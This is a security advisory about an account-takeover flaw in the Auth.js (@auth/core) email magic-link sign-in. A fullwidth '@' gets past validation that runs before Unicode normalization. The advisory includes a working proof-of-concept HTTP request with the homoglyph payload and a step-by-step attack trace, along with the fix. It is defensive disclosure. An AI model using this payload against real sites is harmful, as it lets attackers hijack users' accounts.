criticalJul 23, 2026

Auth.js (@auth/core): Email Magic-Link Homoglyph Bypass Leading to Account Takeover

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Auth.js's email sign-in normalizer validates the address before applying Unicode normalization, letting an attacker smuggle a lookalike '@' character to redirect a magic-link to an…

Package@auth/core
Ecosystemnpm
Affected>= 0.1.0, < 0.41.3
Fixed in0.41.3

The problem

The default normalizeIdentifier function in Auth.js email/magic-link provider splits on ASCII @ (U+0040) and validates the single-separator rule before any Unicode normalization is applied.

An attacker can embed U+FF20 FULLWIDTH COMMERCIAL AT (@) in the submitted address. The validator sees only one ASCII @ and passes. A downstream mailer that applies NFKC normalization collapses @ to @, producing two separators and routing the magic link to the attacker's mailbox instead of the victim's.

No victim interaction is needed: the attacker initiates the sign-in flow targeting the victim's email, intercepts the link, and authenticates as the victim.

Proof of concept

A working proof-of-concept for this issue in @auth/core, with the exact payload below.

http
POST /api/auth/signin/email HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

csrfToken=<valid_csrf>&email=victim%EF%BC%A0victim.example.com%40attacker.com

# %EF%BC%A0 is UTF-8 encoding of U+FF20 FULLWIDTH COMMERCIAL AT (@)
# Submitted identifier: victim@victim.example.com@attacker.com
#
# Old normalizer (validate-before-NFKC):
#   split('@')  ->  ['victim\uFF20victim.example.com', 'attacker.com']
#   one ASCII @ found -> passes validation
#   magic link is addressed to: victim@victim.example.com@attacker.com
#
# SMTPUTF8/NFKC-normalizing mailer:
#   NFKC collapse: victim@victim.example.com@attacker.com
#   parses first mailbox -> delivers to attacker.com
#   attacker receives the magic link and signs in as victim

The root cause is CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize). The old normalizer called identifier.toLowerCase().trim().split('@') and checked the count of ASCII @ separators before any Unicode normalization, so a NFKC-compatible homoglyph passed the guard unchallenged.

The patch commits (19d2feb and a63eee1) add identifier.normalize('NFKC') as the very first step, collapsing compatibility characters like U+FF20 to their ASCII equivalents before any splitting or counting occurs. After normalization a crafted address containing @ is immediately seen as having two @ separators and is rejected.

U+FF20 FULLWIDTH COMMERCIAL AT is the most direct homoglyph, but any Unicode code point whose NFKC decomposition is U+0040 works identically. Most internationalized-email (SMTPUTF8) libraries normalize on ingest, making the misrouting reliable against common mail stacks.

The fix

Upgrade @auth/core to 0.41.3 or later, or next-auth to 4.24.15 / 5.0.0-beta.32 or later. No application-level changes are needed after upgrading. If an immediate upgrade is blocked, add a custom normalizeIdentifier on the Email provider that calls identifier.normalize('NFKC') before any splitting or validation, and rejects addresses that do not contain exactly one ASCII @ after normalization.

Reported by @kakashi-kx.

References: [1][2][3][4][5][6]

Related research